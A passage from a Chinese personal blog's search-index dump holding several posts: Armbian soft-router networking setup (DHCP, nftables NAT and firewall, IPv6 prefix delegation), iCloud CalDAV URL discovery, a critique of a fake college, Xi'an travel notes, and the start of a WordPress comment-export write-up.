2 renderer: NetworkManager 1 2 3 network: version: 2 renderer: NetworkManager 要将软路由作为DHCP服务器，需要先将对应接口的DHCP客户端关掉（路由器一般当然不能从局域网其他主机取得IP地址了），然后再为其单独安排一个IP地址。再次提醒，我计划把局域网设备插在 eth0：\nyaml 复制代码 network: version: 2 renderer: NetworkManager ethernets: eth0: dhcp4: false # 这个 false 是关掉 DHCP 客户端 addresses: [192.168.0.1/24] # 网段自定，后面对应修改 1 2 3 4 5 6 7 network: version: 2 renderer: NetworkManager ethernets: eth0: dhcp4: false # 这个 false 是关掉 DHCP 客户端 addresses: [192.168.0.1/24] # 网段自定，后面对应修改 保存后不要忘了使用 sudo netplan try 测试配置文件是不是写对了，没问题的话就确认。\n至于DHCP服务器，我起初选择了 coredhcp。其并不支持SLAAC宣告，故对IPv6环境并不友好；而dnsmasq虽然看起来麻烦，但实际上只需要动几个配置项就行了，而且对IPv6比较友好。\n照例是配置文件：\nyaml 复制代码 server4: listen: - \u0026#34;%eth0\u0026#34; # 只监听 eth0 接口的请求 plugins: - lease_time: 3600s - server_id: 192.168.0.1 # 填路由器 IP 就行 - dns: 192.168.0.1 # 重要，设置为路由器 IP 以指向路由器上的 DNS - router: 192.168.0.1 # 网关，主路由兼具代理功能，所以这里也是路由器 IP - netmask: 255.255.255.0 # 子网掩码 - range: /etc/coredhcp/leases.txt 192.168.0.2 192.168.0.254 12h # 分配地址文件，起始地址，结束地址，租约时间 1 2 3 4 5 6 7 8 9 10 server4: listen: - \u0026#34;%eth0\u0026#34; # 只监听 eth0 接口的请求 plugins: - lease_time: 3600s - server_id: 192.168.0.1 # 填路由器 IP 就行 - dns: 192.168.0.1 # 重要，设置为路由器 IP 以指向路由器上的 DNS - router: 192.168.0.1 # 网关，主路由兼具代理功能，所以这里也是路由器 IP - netmask: 255.255.255.0 # 子网掩码 - range: /etc/coredhcp/leases.txt 192.168.0.2 192.168.0.254 12h # 分配地址文件，起始地址，结束地址，租约时间 NAT NAT对局域网内IP和端口号二元组与外网IP和端口号二元组之间建立联系，并进行转换。此处使用的工具是 nftables。依托其强大的规则体系，我们可以自由选择转发暴露的端口，以及内外能访问的服务等。\nnftables 官方文档 2 给了我们一个很好的基础配置，我也知道其他高级用途也需要依托 nftables，此处按下不表。但要做到NAT，只需要用一张 nat 表的 masquerade 规则。\nperl 复制代码 #!/usr/sbin/nft -f flush ruleset define WANLINK = lan0 table ip nat { chain prerouting { type nat hook prerouting priority -100; } chain postrouting { type nat hook postrouting priority 100; policy accept; oif $WANLINK masquerade } } 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 #!/usr/sbin/nft -f flush ruleset define WANLINK = lan0 table ip nat { chain prerouting { type nat hook prerouting priority -100; } chain postrouting { type nat hook postrouting priority 100; policy accept; oif $WANLINK masquerade } } 要暂时应用Nftables规则，可以使用 sudo nft -f \u0026lt;filename\u0026gt;，永久应用则需要将其保存到 /etc/nftables.conf，并设置权限755。\n启用IP转发 只有启用代理转发，流量才能进入Netfilter的 forward 链，从而不经本地用户程序而向外转发。\n在 /etc/sysctl.d/ 下新建一个文件，名字随意（如 98-ip-forwarding.conf），内容为：\nplaintext 复制代码 net.ipv4.ip_forward=1 net.ipv6.conf.all.forwarding=1 1 2 net.ipv4.ip_forward=1 net.ipv6.conf.all.forwarding=1 然后运行 sudo sysctl -p 使其生效。这样，软路由就有了将不属于它的包转发出去的能力。\nPPPoE 安装 pppoeconf，然后运行它就可以了。它的底层是 pppd，所以修改配置也需要到 /etc/ppp/ 里面修改。\n使用PPPoE上网后，会生成一个 ppp0 虚拟网卡，它充当了WAN口的作用；使用原来的WAN接口是无法直接联网的。使用透明代理等需要指定接口的应用时请务必注意。\n进阶应用 按照上面的步骤配置完毕后，如无意外，软路由本身和接入其的设备应该已经可以上网了。然后是一些相比OpenWrt，Armbian没有out-of-box支持的。\n透明代理 请阅读 Armbian + R2S 番外篇：透明代理 一文。\n另外，如果使用Tailscale，实测透明代理可能会与Tailscale规则冲突（实测23/8/26有此现象），从而导致上不了网的严重问题，所幸1.48.0开始Tailscale增加了Nftables支持，将其启用似乎可以解决这个问题。在 /etc/default/tailscaled中加入 TS_DEBUG_FIREWALL_MODE=nftables 即可3。\n基本防火墙 将这些规则加入之前的 nftables 配置，可以对内外网进行基本的隔离。修改自 4。\nperl 复制代码 table inet filter { chain inbound { type filter hook input priority 0; policy drop; ct state vmap { established : accept, related : accept, invalid : accept } counter ip protocol icmp icmp type { destination-unreachable, echo-reply, echo-request, source-quench, time-exceeded } limit rate 5/second accept tcp dport 22 accept iifname vmap { lo: accept, $WANLINK : jump inbound_world, $LANLINK : jump inbound_private } } chain inbound_world { ip saddr { $RESERVED_IP } drop } chain inbound_private { ip protocol . th dport vmap { tcp . 22 : accept, udp . 53 : accept, tcp . 53 : accept, udp . 67 : accept } } chain forward { type filter hook forward priority 0; policy accept; } } 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 table inet filter { chain inbound { type filter hook input priority 0; policy drop; ct state vmap { established : accept, related : accept, invalid : accept } counter ip protocol icmp icmp type { destination-unreachable, echo-reply, echo-request, source-quench, time-exceeded } limit rate 5/second accept tcp dport 22 accept iifname vmap { lo: accept, $WANLINK : jump inbound_world, $LANLINK : jump inbound_private } } chain inbound_world { ip saddr { $RESERVED_IP } drop } chain inbound_private { ip protocol . th dport vmap { tcp . 22 : accept, udp . 53 : accept, tcp . 53 : accept, udp . 67 : accept } } chain forward { type filter hook forward priority 0; policy accept; } } UPnP / NAT-PMP UPnP和NAT-PMP本质上是类似的东西，类似于一个自动的路由器端口映射。可以使用 MiniUPnPd 来实现。\nUbuntu和Debian已经打包了 miniupnpd 和 miniupnpd-nftables 两个包，安装时会自动进入向导，分别填入内网接口（eth0）和外网接口（lan0），并选择启用即可。\nFull Cone NAT Nftables的NAT行为 masquerade 是Symmetric NAT。打游戏的应该会需要Full Cone NAT，可以参考一下 这个实现。需要编译对应的 libnftnl、nftables 和 nft，以及内核模块。\n如果你使用Xray-core透明代理，那么它已经帮你用神奇的方式实现了Full Cone NAT5。但在实现透明代理时，需要将所有流量转发至Xray-core进行分流，以防不同分流规则下NAT行为出现不同。\n另外还可以使用 einat-ebpf，使用时需禁用上述NAT Nftables规则中的 MASQUERADE 链，实测Armbian内核支持该程序eBPF所需的内核选项，性能良好，较为易用，无需重新编译内核模块或使用第三方代理工具。\nMSS Clamping 我不只一次见网友说自己搭的软路由访问某些网站非常慢，而换回硬路由就正常。这是因为多数家用路由器默认对IPv4下的TCP开启了MSS (maximum segment size) Clamping。\n《开启 IPv6 后网速变得很慢？可能是 PMTU 黑洞的问题》\n简而言之就是家用硬路由会自动帮你设置MSS，而软路由不会，造成被路径上丢包只能重传。进行MSS Clamping后，终于能跑满300M宽带了。\n在Nftables中添加以下内容：\nperl 复制代码 table inet filter { chain forward { type filter hook forward priority 0; policy accept; tcp flags syn tcp option maxseg size set rt mtu } } 1 2 3 4 5 6 table inet filter { chain forward { type filter hook forward priority 0; policy accept; tcp flags syn tcp option maxseg size set rt mtu } } IPv6 以网上资料的细碎程度，IPv6其实也是一个进阶应用；但是感觉对自己来说，即使没有全局梯也不能没有IPv6，所以就挺拧巴的，这也是我把它放在最后的原因。如果你对IPv6没有那么熟悉，我强烈建议你展开下面的内容看点更拧巴的现象和我的理解，防止配完黑人问号。\n常用的路由器 IPv6 部署方案解析 IPv6的情况与IPv4不同，路由器较少使用DHCPv6来为局域网设备分配IP地址（而且支持也像屎一样 [^13]），更常用的叫做无状态地址自动配置（SLAAC，StateLess Address Auto Configuration），一般来说路由器会选择LAN上前缀的一个 /64地址块，向局域网内进行宣告，然后各个主机通过某种方式，自己在这个 /64里选择一个地址（并非一个设备直接分走一个 /64，所以运营商只给 /60而不是 /56并没有什么问题；感谢 V2EX @dalaoshu 的纠正）。因为一个 /64实在是太巨大了，所以一般也不会冲突。\n诶，看起来拧巴的事情来了：本人使用的长沙联通宽带，光猫已改为桥接路由器拨号；而对于PPPoE，协议本身会给路由器 ppp0 指定一个 /64的地址 [^14]。不知细心的你是否发现了， 我们没说过 ppp0 在委托的那个子网里面——事实上也确实不在。当执行 ip -6 addr 时，就会得到以下看起来十分抽象实际上却又合理的输出（节选）：\nbash 复制代码 $ ip -6 addr 1: lo: \u0026lt;LOOPBACK,UP,LOWER_UP\u0026gt; mtu 65536 state UNKNOWN qlen 1000 inet6 ::1/128 scope host valid_lft forever preferred_lft forever 2: eth0: \u0026lt;BROADCAST,MULTICAST,UP,LOWER_UP\u0026gt; mtu 1500 state UP qlen 1000 inet6 2408:aaaa:450:3650:4c43:81ff:fe4d:9cac/60 scope global valid_lft forever preferred_lft forever inet6 fe80::4c43:81ff:fe4d:9cac/64 scope link valid_lft forever preferred_lft forever 6: ppp0: \u0026lt;POINTOPOINT,MULTICAST,NOARP,UP,LOWER_UP\u0026gt; mtu 1492 state UNKNOWN qlen 3 inet6 2408:bbbb:451:50b6:7a88:efdb:db94:4b77/64 scope global temporary dynamic valid_lft 259001sec preferred_lft 85804sec inet6 2408:bbbb:451:50b6:4e43:81ff:fe4d:9cac/64 scope global dynamic mngtmpaddr valid_lft 259001sec preferred_lft 172601sec inet6 fe80::4e43:81ff:fe4d:9cac peer fe80::16eb:8ff:feb2:b27d/128 scope link valid_lft forever preferred_lft forever 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 $ ip -6 addr 1: lo: \u0026lt;LOOPBACK,UP,LOWER_UP\u0026gt; mtu 65536 state UNKNOWN qlen 1000 inet6 ::1/128 scope host valid_lft forever preferred_lft forever 2: eth0: \u0026lt;BROADCAST,MULTICAST,UP,LOWER_UP\u0026gt; mtu 1500 state UP qlen 1000 inet6 2408:aaaa:450:3650:4c43:81ff:fe4d:9cac/60 scope global valid_lft forever preferred_lft forever inet6 fe80::4c43:81ff:fe4d:9cac/64 scope link valid_lft forever preferred_lft forever 6: ppp0: \u0026lt;POINTOPOINT,MULTICAST,NOARP,UP,LOWER_UP\u0026gt; mtu 1492 state UNKNOWN qlen 3 inet6 2408:bbbb:451:50b6:7a88:efdb:db94:4b77/64 scope global temporary dynamic valid_lft 259001sec preferred_lft 85804sec inet6 2408:bbbb:451:50b6:4e43:81ff:fe4d:9cac/64 scope global dynamic mngtmpaddr valid_lft 259001sec preferred_lft 172601sec inet6 fe80::4e43:81ff:fe4d:9cac peer fe80::16eb:8ff:feb2:b27d/128 scope link valid_lft forever preferred_lft forever 说它抽象吧，是因为在我的直觉里，似乎IPv6不会分配私有IP，所以大家都是平等的设备，也理所应当属于一个子网；说它合理吧，是既然IP转发启用了，那么路由器就可以将其送达该有的目的地，路径也并不需要跟着网段走。事实上，WAN口的 /64是通过PPPoE的SLAAC获得的，这与LAN口的DHCPv6-PD获得的前缀来源不同，所以才会出现两个地址不在同一网段的情况。\n其实类比IPv4也是很好理解的：运营商给一个普通路由器的WAN口分配了一个公网IP；同时路由器通过DHCP将内网的私有地址分配给各个主机，LAN口也获得了一个该网段下的私有地址。IPv6情况其实差不多，只是上面的私有地址段变成了通过DHCPv6-PD获得的公网地址段，通过某个公网地址能够直接路由到特定的主机，无需经过NAT而已；子网内的DHCPv4也变成了SLAAC，不过结果上没区别，都是主机获得了自己的IP。\n评论区有人提到了IPv6的一些奇怪情况；此外关于PD和SLAAC，也可以多阅读 这篇文章 作为参考。\n好的，逼叨完了，结果很明了了：我们需要配置的有\n一个能进行DHCPv6-PD的客户端， 一个能进行SLAAC宣告的程序，和 让路由器本身获得IPv6。 第一个事好说，用得很广泛的是 wide-dhcpv6-client$^包$。安装后编辑 /etc/wide-dhcpv6/dhcp6c.conf。以下给出一个示例，它从运营商请求一个非临时的前缀，然后将这个前缀委托给 eth0，让 eth0 获得一个 /64地址。\nperl 复制代码 interface ppp0 { # 通过 ppp0 进行 DHCPv6 send ia-pd 0; # 发送 Prefix Delegation 消息 send ia-na 0; # 请求非临时地址（non-temporary address） script \u0026#34;/etc/wide-dhcpv6/dhcp6c-script\u0026#34;; }; id-assoc pd 0 { # PD 0 的配置 prefix-interface eth0 { # 将前缀委托给 eth0 sla-id 0; # SLA ID，即网段编号 sla-len 0; # SLA 长度，即用掉整个 PD }; }; id-assoc na 0 {}; # NA 0 的配置，留空就行 1 2 3 4 5 6 7 8 9 10 11 12 13 14 interface ppp0 { # 通过 ppp0 进行 DHCPv6 send ia-pd 0; # 发送 Prefix Delegation 消息 send ia-na 0; # 请求非临时地址（non-temporary address） script \u0026#34;/etc/wide-dhcpv6/dhcp6c-script\u0026#34;; }; id-assoc pd 0 { # PD 0 的配置 prefix-interface eth0 { # 将前缀委托给 eth0 sla-id 0; # SLA ID，即网段编号 sla-len 0; # SLA 长度，即用掉整个 PD }; }; id-assoc na 0 {}; # NA 0 的配置，留空就行 这是一个很基础的配置，如果想整更多花活，建议读 manual。\n重启一下服务，如果看到 eth0（或自己定义的LAN）上有了一个大于 /64的非私有IP，那么就是成功了，不出意外的话route也会为你配好；否则可以自行使用 dhcp6c -Df -c /path/to/conf \u0026lt;interface\u0026gt; 进行debug。\n现在连上设备并不能用SLAAC，因为我们还没有配置路由宣告。如果你已经使用 dnsmasq 作为DHCP服务器，那么宣告非常简单：仅需要在配置文件中加类似下面这一行。\nplaintext 复制代码 dhcp-range=::1000,::1fff,constructor:eth0,slaac,ra-names 1 dhcp-range=::1000,::1fff,constructor:eth0,slaac,ra-names 我来详细解释一下：\n即使向运营商申请了非临时前缀，也可能变，所以前缀不能写死，要自动从接口获取 constructor:eth0 指的是分配给 eth0 的IP段 ::1000,::1fff 指的是所有IPv6地址，当然不能给IPv4做SLAAC不是嘛 slaac 指的是选择外部分配的前缀，而非 fe80 开头的内网IP段 ra-names 代表进行SLAAC宣告，不进行DHCPv6，并将主机添加到DNS 第三个事情看起来很玄学。在远古的Linux内核中，当开启IPv6 forwarding的时候，即使 net.ipv6.conf.all.accept_ra 不为0，其也会自作主张地停止进行SLAAC，导致路由器WAN（eth0）接口无法获取IPv6地址；而在不那么老的内核上，将其设为2，就可以同时开启IPv6 forwarding和进行SLAAC6。\n这样，局域网下的设备就可以通过IPv6上网了，没有邪道DHCPv6。\n[OpenWrt Wiki] Upgrading packages may cause serious problems, including soft-bricking your device!\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nSimple ruleset for a home router\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nFirewall mode in tailscaled\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nBuild your own router with nftables – Part 1\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nXUDP：VLESS \u0026amp; VMess \u0026amp; Mux UDP FullCone NAT\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nhttps://strugglers.net/posts/2011/linux-ipv6-router-advertisements-and-forwarding/\u0026#160;\u0026#x21a9;\u0026#xfe0e;\n","date":"July 14, 2023","matchCount":0,"permalink":"/post/armbian-r2s/","preview":"","title":"Armbian，更适合 R2S 软路由的系统"},{"content":"作为一个Android + Apple + Windows用户，寻找跨平台数据同步方案一直是一大难题，日历也不例外。纵观全局，日历同步服务倒也不少，比如Google、Outlook和iCloud等，但Google国内根本连不上，Outlook托微软的尿性也不稳定，我这次又懒得自己部署一个，此时iCloud就成为了一个好选择。\niCloud使用的也是通用的CalDAV协议，然而iCloud并没有一个开放的CalDAV配置指引，甚至连服务器都不给。手动配置也不难，要配置一个CalDAV客户端，一般需要服务器地址、用户名和密码。用户名就是你的iCloud邮箱地址，即xxx@icloud.com。\nmacOS 上并不支持授权 CalDAV 客户端支持情况 有的日历客户端需要手动配置服务器地址，但有的不用。但除了iOS和macOS系统自带的日历客户端，其他大部分都需要获取App专用密码。\n以下是我使用过的几个客户端，以及它们对手动配置服务器地址的需求情况：\niOS、macOS等苹果第一方客户端：当然不需要 MIUI日历：不需要（不含HyperOS） Windows日历：不需要 Thunderbird：需要* * 可以使用TbSync插件同步国际版iCloud，但不适用于云上贵州\n如下图，需要手动填入“位置”的即为需要获取服务器地址。\nThunderbird 创建新日历 获取密码 众所周知，仅凭Apple ID和其密码当然过不了二步验证，验证码都没地方输。好在可以创建App专用密码。\n在 Apple ID 管理页面 的下方找到 “App专用密码”，创建一个，然后暂存下来，这个密码之后不会再出现。每个专用密码都等效，所以建议对每个应用使用不同的专用密码。\nApp 专用密码 获取服务器地址 方法一：分析请求 苹果没有给服务器地址，但网络上有现成的获取方法，如 这个。但是已经过去了五年，在云上贵州的环境中又有点不同。长话短说，就是把icloud.com换成icloud.com.cn，然后自己摸索起来应该也不难。\n仿照那个教程的获取方法，iCloud云上贵州的CalDAV服务器地址格式为：\ntext 复制代码 https://\u0026lt;server-id\u0026gt;-caldav.icloud.com.cn/\u0026lt;user-id\u0026gt;/calendars/\u0026lt;calendar-id\u0026gt;/ 1 https://\u0026lt;server-id\u0026gt;-caldav.icloud.com.cn/\u0026lt;user-id\u0026gt;/calendars/\u0026lt;calendar-id\u0026gt;/ 其中：\n\u0026lt;server-id\u0026gt; 是数字和字母混合的字符串，我的是4位； \u0026lt;user-id\u0026gt; 是一串数字，我的是11位； \u0026lt;calendar-id\u0026gt; 是一个用 - 分隔的、全部大写的UUID。 需要注意，一个CalDAV地址对应一个日历，如果有多个日历必须在下面的步骤中重复操作。\n现在打开你的iCloud网页版，打开浏览器的开发者选项-网络，然后在日历页面双击任意一个事件，进入详情。\n在开发者选项中过滤“XHR”请求，然后找到传输这个事件详细信息的GET请求，例如下图：\n找到这个请求URL，它大概是以下格式：\ntext 复制代码 https://\u0026lt;server-id\u0026gt;-calendarws.icloud.com.cn/ca/eventdetail/\u0026lt;calendar-id\u0026gt;/\u0026lt;event-id\u0026gt;?clientBuildNumber=\u0026lt;some-random-text\u0026gt;\u0026amp;clientId=\u0026lt;some-random-text\u0026gt;\u0026amp;clientMasteringNumber=\u0026lt;some-random-text\u0026gt;\u0026amp;clientVersion=\u0026lt;some-random-text\u0026gt;\u0026amp;dsid=\u0026lt;user-id\u0026gt;\u0026amp;lang=\u0026lt;some-random-text\u0026gt;\u0026amp;requestID=\u0026lt;some-random-text\u0026gt;\u0026amp;usertz=\u0026lt;some-random-text\u0026gt; 1 https://\u0026lt;server-id\u0026gt;-calendarws.icloud.com.cn/ca/eventdetail/\u0026lt;calendar-id\u0026gt;/\u0026lt;event-id\u0026gt;?clientBuildNumber=\u0026lt;some-random-text\u0026gt;\u0026amp;clientId=\u0026lt;some-random-text\u0026gt;\u0026amp;clientMasteringNumber=\u0026lt;some-random-text\u0026gt;\u0026amp;clientVersion=\u0026lt;some-random-text\u0026gt;\u0026amp;dsid=\u0026lt;user-id\u0026gt;\u0026amp;lang=\u0026lt;some-random-text\u0026gt;\u0026amp;requestID=\u0026lt;some-random-text\u0026gt;\u0026amp;usertz=\u0026lt;some-random-text\u0026gt; 或许你得到的request param会有所不同，但只要能找出你链接中的对应位置，提取出上面提到的三个ID就行了。如果发现提取不出来，请评论。\n将上面三个ID填入上面的CalDAV服务器地址中，就可以得到你的CalDAV服务器地址了。\n方法二：MIUI日历 更新：HyperOS的日历已经去掉iCloud登录功能。\n如果你恰好有一台小米手机，那么可以直接在MIUI日历中添加iCloud日历，MIUI会自动获取服务器地址，也能正确处理云上贵州链接。在日历详细信息页面，你就可以提取出对应的日历地址。\nMIUI 日历可以正确提取链接 方法三：工具提取 可以试一下以下的工具（未经验证）：\nmidnightmonster/icloud-calendar-urls（需要macOS环境） muhlba91/icloud-caldav-urls ","date":"July 10, 2023","matchCount":0,"permalink":"/post/icloud-calendar-sync/","preview":"","title":"同步 iCloud （云上贵州）日历"},{"content":"先回答一个最重要的问题：长沙天工网络学院是野鸡大学吗？是。\n本来我应该接触不到这种破事的，但它蹭上湖大了，那正义的我不能坐视不管（狗头）。\n本文所有内容均来自公开信息；所有提到的学校官网页面均通过 Archive.org 保存，任何链接失效都可以查看存档版本。\n大专毕业证书，可考全日制本科，6000块钱底薪，还有985合作办学，谁听了不迷糊啊。还不用高考，一遍笔试一遍面试就行了，简直天上掉馅饼好吧。大部分人看到这个应该会毫不犹豫点击退出，但考虑到能考出这个分的人（ 还有我这种闲着没事的）真有可能点进去，这里就来扒一扒它。\n真的有湖南大学的资源吗？ 不好说，或者说以其宣传来看，没有。\n首先看师资。我可以负责任地说，在 教师风采 页面上，没有一个熟悉的湖大信息院教授名字。\n唯一一位明确标注“曾任职湖南大学”的员工，在网络上搜索并没有出现其任何资料，至于他担任了什么职位，我们不得而知，但这种情况一般不是核心职工。何况这照片看起来就像是卖保险的……\n然后看校园。从官网 联系我们 页面找到地址，光看地图，你说它是在湖大北校吧，党校后街似乎是条开放道路；你说它不是吧，它确实挨着。\n同在一栋楼上的还有什么呢？\n湖南商务进修学院，一所“民办非学历教育高等学校”，拿不到学历，还 曾经违规办学被通报批评； 长沙春秋进修大学，这个性质一样，但有 前科 的，更牛逼：早在财经学院合并到湖大前，这所学校就冒充财院招生。 这个地理位置，跟曾冒充招生的学校设在一栋楼，很难不怀疑其动机。\n还有这个校园简介。尼玛，这是湖大南校区的图，远处那个是真信息院，跟你们隔一个岳麓山，莫挨老子。\n课程靠谱吗？ 以大学（专科）的标准，不靠谱。\n根据教育部 普通高等学校高职专科专业简介 和 《教育部关于印发〈职业教育专业目录（2021年）〉的通知》，没有其 专业方向 中所谓的“Java软件开发”“大数据人工智能开发”“全链路UI设计”“新媒体运营”“大数据网络安全与运维”专业。\n是大学吗？ 打开学校官网 人才招聘 网页，阅读2023年2月17日的公告概要：\n天工网络软件学院是湖南硅谷创新技术有限公司旗下IT产业学院。主管单位为长沙市高新区人社局，湖南硅谷IT成立于2011年，11年专注与国内高校本科、专科IT人才培养，与省内一流高校建立紧密校..\n不由教育部门主管的“IT产业学院”，自爆了，不是大学。\n再去天眼查，查查这个公司，发现它就是个开培训班的，和我们的猜测基本吻合。入职甚至不需要本科学历。教这批学生的人，还真不一定有学生水平高。\n职工只有“课程助理”，令人深思。\n就业是否有保障？ 一个连 就业信息 页面都要蹭省里新闻的机构，你觉得有什么就业可言吗。既然招生简章有那么多签约的优秀校友，还在 招生简章 里言之凿凿地有签约保证，那么不应该一点合作企业的信息都没有呀？\n至于为什么这么多找到工作的，那当然，开个培训班要是学生都找不到工作那就别开了。\n毕业证哪来的？是否可以考本科？ 上面这些问题都回答完了，不会真有人硬着头皮想去吧。没有正经大学老师，没有正经大学专业，没有正经大学校园，这种机构开出来的毕业证，你敢要吗？\n","date":"June 28, 2023","matchCount":0,"permalink":"/post/wild-chicken-university/","preview":"","title":"鉴定网络热门野鸡大学（以长沙天工网络学院为例）"},{"content":"“西安是一座古朴的大都市……”\n此话真不假，古朴和大都市都无需质疑。有的城市没啥历史文化却非要硬凹，有的城市空有文化资源却利用不起来；这两类都多到没必要举例子，但西安是国内少数称得上既有文化又会开发的城市之一，甚至一些刻意的开发都不会让人觉得突兀。\n12月中旬正值淡季，人比较少，酒店和景点也便宜，景点参观得也自由多了。强烈推荐各位淡季来。\n暂时无图，后期补\n景点 许多景点都有持本科学生证门票半价政策，幸亏我本科毕业前出来玩了这一趟。\n兵马俑 \u0026amp; 秦始皇陵 它竟然不在西安城区啊，在临潼。不过只要走2小时，来回甚至比西电新校区还方便（笑）。\n感觉兵马俑离我心目中的那个有差距，去之前以为规模巨大，然而之后发现最大的只有一号坑。即便如此也十分震撼了。人少，观看体验极佳。\n秦始皇陵……真正的陵寝并不开放游览，只是坐观光车转一圈看看陪葬品罢了。倒是有个铜车马博物馆，做得挺用心的，可惜一进去就没信号。\n西安城墙 全国知名的古城也没几个，帝都的城墙早拆了变成二环路了，全国旅游比西安强的城墙没西安完整，比西安城墙还完整的……怕不是没有。从这个意义上，它就是独一无二的。而且这城墙还能上去，在永宁门城楼上望钟楼，还是个挺知名的机位。即使不拍照，散散步骑骑车也是非常好的。\n大雁塔 \u0026amp; 长安不夜城 这烂怂大雁塔1确实没啥好看的，可能是去得有点晚的原因，大慈恩寺转了一圈没找到门进去，大雁塔也只能拍个远景，从这个意义上体验还不如小雁塔。\n长安灯具不夜城的灯具确实挺震撼的，想必旅游旺季熙熙攘攘的样子那确实很壮观。附近的银泰等商场依靠本地客流还能维持一些，但卖小吃的地摊就有点儿惨了。规模巨大的太平洋影院也在疫情影响下鬼了，令人唏嘘。\n银泰百货的小蔚来展厅竟然有EP9，真是意外之喜了。\n全街最丑风格最不搭的建筑：华为体验，没有之一。实在不会copy苹果就不要copy。\n碑林博物馆 藏品过于重量级了，信息量很大，是一个值得沉下心逛一逛的地方。\n曲江池 鹅、鸭和鸟都不少，喜欢的话值得看。\n小雁塔 \u0026amp; 西安博物院 小雁塔虽然也在维护，但起码能凑近了看，园子还是蛮有味道的。\n西安博物院是临时想看省博但约不上的平替（这么个淡季竟然全约满了），事实证明这个平替除了规模略小之外，做得也不错。\n交通 西安的司机虽然还是有点儿西北的狂野，但起码比长沙文明多了，乱窜的情况很少。可惜道路规划实在拖后腿，真能堵。\n公交做得挺不错的，许多需要倒地铁的地方都有公交直达，此时相比地铁，我更有意愿坐公交。市区还有大量的公交车道，极大地保障了公交车的速度。\n机场修在隔壁地级市我是没想到的（at成都），不过还好14号线很快，100km/h不成问题。即使离市区多了10km，仍然比长沙市区去机场要方便。\n地铁对游客来说还算四通八达，但通不通和顺不顺是两回事儿。钟楼站1和2号线的换乘简直是灾难。\n但还有一种西安特色交通方式：黑车。不同于其他城市的黑车，西安的黑车真是多到一种令人发指的地步，去了几乎每个景点都有被拦下来问要不要坐车。\n饮食 西安被称为碳水之都是有原因的。\n许多地方都有地方特色打出了名堂的饮料，长沙有茶颜，青岛有崂山白花蛇草水青啤，在西安就是冰峰。五天炫了三瓶玻璃瓶冰峰，令人欣慰的是跟易拉罐装的差不太多。\n说到茶颜了，那不得不说山寨茶颜西安分颜——茶话弄。顶上的奶沫端出来就是一大坨，越来越多，喝完奶茶还剩半杯奶沫不化，太恐怖了，真不敢再喝。\nbiang biang面，臊子面，肉夹馍，凉皮，自然不用再说，在这方面西安就是绝对的权威。大概连吃一个月的面也不会腻掉。\nhttps://www.bilibili.com/video/av22006345/\u0026#160;\u0026#x21a9;\u0026#xfe0e;\n","date":"June 15, 2023","matchCount":0,"permalink":"/post/xi-an/","preview":"","title":"西安，西安"},{"content":"在把博客迁出WordPress的时候难免要一块儿把评论迁出来。怪了，全网常用的评论系统，Valine，Twikoo，怎么就没有WordPress导入呢？另一个评论系统，Artalk，倒是有个Artransfer工具，通过WordPress全部的导出文件解析评论，导出Artrans格式。但sadly, it simply didn\u0026rsquo;t work. 它也并不能很好地处理重定向。\n那总不能把评论一个一个输到Twikoo里面吧，那未免太不优雅了。何况即使五分钟手工能干成的事情，也要花两个小时去自动化完成（狗头）。\n导出方法 WordPress备份文件的组织形式我觉得挺麻的，幸好还有另一种获取评论的方式，即REST API。该接口虽然是公开的，但是在进行认证之后，可以读取到评论的全部信息，包括发送者邮箱、IP和user-agent等。而在以前使用的全部资料导出方式中，根本没办法导出UA。\n读出来某条评论大概是这个样子：\njson 复制代码 { \u0026#34;id\u0026#34;: 123, // 评论 ID \u0026#34;post\u0026#34;: 2345, // 文章 ID，即代表 /archives/2345 的那篇文章 \u0026#34;parent\u0026#34;: 0, // 父评论 ID，0 代表没有父评论 \u0026#34;author\u0026#34;: 0, // 作者 ID，0 代表未登录用户 \u0026#34;author_name\u0026#34;: \u0026#34;AuthorName\u0026#34;, // 作者名 \u0026#34;author_email\u0026#34;: \u0026#34;author@example.com\u0026#34;, // 作者邮箱 \u0026#34;author_url\u0026#34;: \u0026#34;https:\\/\\/example.com\u0026#34;, // 作者网站 \u0026#34;author_ip\u0026#34;: \u0026#34;1.1.1.1\u0026#34;, // 发送 IP \u0026#34;author_user_agent\u0026#34;: \u0026#34;Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0\u0026#34;, // 发送者浏览器 UA \u0026#34;date\u0026#34;: \u0026#34;2000-00-00T00:00:00\u0026#34;, // 本地和 GMT 发送时间 \u0026#34;date_gmt\u0026#34;: \u0026#34;2000-00-00T00:00:00\u0026#34;, \u0026#34;content\u0026#34;: { \u0026#34;rendered\u0026#34;: \u0026#34;content\u0026#34;, // HTML 评论内容 \u0026#34;raw\u0026#34;: \u0026#34;\u0026#34; // 纯文字评论内容 }, \u0026#34;link\u0026#34;: \u0026#34;\u0026#34;, // 评论链接，指向对应文章的对应评论 \u0026#34;status\u0026#34;: \u0026#34;approved\u0026#34;, // 是否过审 \u0026#34;type\u0026#34;: \u0026#34;comment\u0026#34;, // 好像只有 comment \u0026#34;author_avatar_urls\u0026#34;: { // 三种尺寸的头像链接。很难想象 WordPress 会直接预存三种链接，虽然都是 Gravatar 的 \u0026#34;24\u0026#34;: \u0026#34;\u0026#34;, \u0026#34;48\u0026#34;: \u0026#34;\u0026#34;, \u0026#34;96\u0026#34;: \u0026#34;\u0026#34; }, \u0026#34;meta\u0026#34;: [], // 用于存放一些额外的 metadata \u0026#34;_links\u0026#34;: { // 相关 API endpoint \u0026#34;self\u0026#34;: [ { \u0026#34;href\u0026#34;: \u0026#34;https:\\/\\/example.com\\/wp-json\\/wp\\/v2\\/comments\\/123\u0026#34; } ], \u0026#34;collection\u0026#34;: [ { \u0026#34;href\u0026#34;: \u0026#34;https:\\/\\/example.com\\/wp-json\\/wp\\/v2\\/comments\u0026#34; } ], \u0026#34;children\u0026#34;: [ { \u0026#34;embeddable\u0026#34;: true, \u0026#34;href\u0026#34;: \u0026#34;https:\\/\\/example.com\\/wp-json\\/wp\\/v2\\/comments?parent=123\u0026#34; } ] } }, 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 